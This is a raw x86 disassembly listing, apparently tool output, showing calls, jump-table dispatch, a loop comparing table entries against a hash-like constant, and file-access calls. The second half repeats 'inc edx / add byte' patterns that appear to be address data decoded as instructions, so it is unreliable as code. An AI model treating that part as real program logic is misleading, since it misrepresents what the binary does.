lea eax, [esp + 0x78]
push 0
push eax
push dword [esp + 0x40]
call fcn.00437f20
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x43e900]
mov esi, dword [esp + 0x78]
lea eax, [esi + 1]
push eax
call fcn.00408300
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x44]
call fcn.00437fb0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x43e908]
mov esi, dword [esp + 0x78]
mov byte [edi + esi], 0
push 0x20
call fcn.00408300
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x24], eax
mov ecx, eax
push esi
push edi
call fcn.00426980
movzx eax, al
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x43e910]
jmp dword [0x43e938]
mov esi, dword [esp + 0x24]
mov ecx, esi
call fcn.00426d30
push esi
call fcn.00408310
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x43e94c]
jmp dword [0x43e950]
push edi
call fcn.00408310
add esp, 4
mov ecx, dword [0x443550]
test ecx, ecx
je 0x4250a5
mov eax, dword [esp + 0x38]
xor edx, edx
mov esi, dword [0x443554]
nop
nop
nop
nop
nop
cmp dword [esi + edx*8], 0xb430e561
je 0x425080
inc edx
cmp ecx, edx
jne 0x425070
jmp 0x4250a5
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, 0xffffffff
je 0x4250a5
push eax
push 4
push ecx
push dword [0x443558]
call fcn.004360a0
add esp, 0x10
mov esi, dword [esp + 4]
jmp dword [0x43e958]
mov esi, dword [esp + 4]
jmp dword [0x43e958]
xor ebp, ebp
xor ebx, ebx
jmp dword [0x43e958]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43e8f8]
push 0x60
push 3
push 0x120089
push ebx
push esi
call fcn.00437c70
add esp, 0x14
push 0x60
push 3
push 0x120089
push ebx
push esi
call fcn.00437c70
add esp, 0x14
jmp dword [0x43e8f4]
int3
inc edx
add byte [eax - 0x6fffbdc2], dl
inc edx
add byte [eax - 0x69ffbdc2], dl
inc edx
add byte [eax - 0x23ffbdc2], dl
aas
inc edx
add byte [ebp - 0x42ffbdc0], ch
inc eax
inc edx
add ch, dh
aas
inc edx
add ch, al
push eax
inc edx
add al, bl
push eax
inc edx
add ch, al
push eax
inc edx
add byte [ecx - 0x50ffbdb0], bh
push eax
inc edx
add byte [esi + 0x4f], ch
inc edx
add byte [ebp + 0x50], dl
inc edx
add byte [ecx + 0x4600424f], dl
push eax
inc edx
add bl, al
dec edi
inc edx
add byte [ecx], bl
push eax
inc edx
add byte [edi], cl
dec ebx
inc edx
add dh, al
dec edx
inc edx
add byte [esp + ecx*2], al
inc edx
add dh, al
dec edx
inc edx
add byte [ecx + 0x4c], ah
inc edx
add al, ah
dec edx
inc edx
add al, ah
dec edx
inc edx
add byte [ecx], bl
push eax
inc edx
add al, ah
dec edx
inc edx
add byte [edi], bl
push eax
inc edx
add byte [eax + 0x50], al
inc edx
add byte [eax + 0x50], al
inc edx
add byte [eax + 0x50], al
inc edx
add byte [eax + 0x50], al
inc edx
add byte [esi + 0x50], al
inc edx
add byte [eax + edx*2 + 0x42], cl
add byte [ebp + 0x50], dl
inc edx
add dl, ah
dec edx
inc edx
add cl, cl
inc ecx
inc edx
add byte [eax], al
dec ebx
inc edx
add al, ch
dec edx
inc edx
add byte [eax], al
dec ebx
inc edx
add cl, cl
inc ecx
inc edx
add bh, dl
inc ecx
inc edx
add byte [edx + 0x43], dl
inc edx
add byte [eax], al
inc ebx
inc edx
add byte [ebx + eax*2 + 0x42], dl
add byte [ecx + 0x43], al
inc edx
add byte [esi + 0x49004243], bl
inc ebx
inc edx
add byte [ebx + eax*2 + 0x42], dl
add bl, ah
inc ebx
inc edx
add byte [edx], cl
inc esp
inc edx
add byte [ebp + 0x3c004245], ch
inc esp
inc edx
add byte [ebp + eax*2 + 0x44780042], dl
inc edx
add byte [esi + 0x45], ah
inc edx
add dl, ah
inc esp
inc edx
add byte [esi + 0x45], ah
inc ebp
inc ebp
inc edx
add byte [edx + 0x46], ah
inc edx
add byte [esi + 0x45], ah
inc edx
add byte [edx + 0x7f004246], dl
inc esi
inc edx
add byte [eax + 0x1004246], bh
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, dh
push eax
inc edx
add cl, dh
inc edi
inc edx
add byte [esi], dh
inc edi
inc edx
add byte [eax], ah
inc edi
inc edx
add byte [ebp + 0x3a004247], cl
dec eax
inc edx
add byte [eax + 0x48], ah
inc edx
add byte [eax + 0x48], al
inc edx
add byte [eax + 0x48], al
inc edx
add byte [eax + 0x48], al
inc edx
add ah, al
dec eax
inc edx
add byte [eax + 0x48], ah
inc edx
add byte [eax + 0x48], ah
inc edx
add byte [eax + 0x48], ah
inc edx
add byte [edx + 0x48], ah
inc edx
add byte [eax - 0x4fffbdb8], dl
dec eax
inc edx
add byte [eax - 0x4fffbdb8], dh
dec eax
inc edx
add byte [edx - 0x4fffbdb8], dh
dec eax
inc edx
add byte [eax - 0x6fffbdb8], dl
dec eax
inc edx
add byte [eax - 0x6dffbdb8], dl
dec eax
inc edx
add ah, al
dec eax
inc edx
add byte [edx + 0x48], al
inc edx
add cl, bl
dec eax
inc edx
add bl, ch
dec eax
inc edx
add byte [eax + 0x49], dh
inc edx
add byte [edx], ch
dec ecx
inc edx
add byte [eax + 0x49], dh
inc edx
add byte [esi - 0x3fffbdb7], ch
dec ecx
inc edx
add dh, cl
dec ecx
inc edx
add byte [edi + 0x7f00424a], bl
inc esi
inc edx
add byte [ebx + 0x45], dh
inc edx
add byte [ebp + eax*2 + 0x459e0042], dl
inc edx
add byte [ebp - 0x10ffbdbb], ch
inc ebx
inc edx
add byte [edi], dl
inc esi
inc edx
add byte [0xc3004246], ah
inc eax
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [0x2f004246], ah
inc esi
inc edx
add byte [edi + 0x46], cl
inc edx
add byte [eax + 0x46], al
inc edx
add byte [0x40004246], dh
inc esi
inc edx
add byte [edi + 0x46], cl
inc edx
add byte [ebp + 0x45004251], dh
push ecx
inc edx
add byte [ebp + 0x56], al
inc edx
add dh, ch
push ecx
inc edx
add byte [ecx], cl
push edx
inc edx
add dh, dh
push ecx
inc edx
add byte [ebp + 0x56], al
inc edx
add byte [eax], al
push esp
inc edx
add byte [edi], cl
push edx
inc edx
add bh, ch
push ebp
inc edx
add byte [eax], al
push esp
inc edx
add byte [0x89004256], ch
push esi
inc edx
add byte [ebx], dh
push esi
inc edx
add byte [edi], bh
push esi
inc edx
add byte [0x50004258], bh
pop eax
inc edx
add dl, dh
pop eax
inc edx
add byte [eax + 0x58], bh
inc edx
add bh, cl
pop eax
inc edx
add byte [ebx - 0x30ffbda8], ch
pop eax
inc edx
add byte [esi - 0x18ffbda4], dl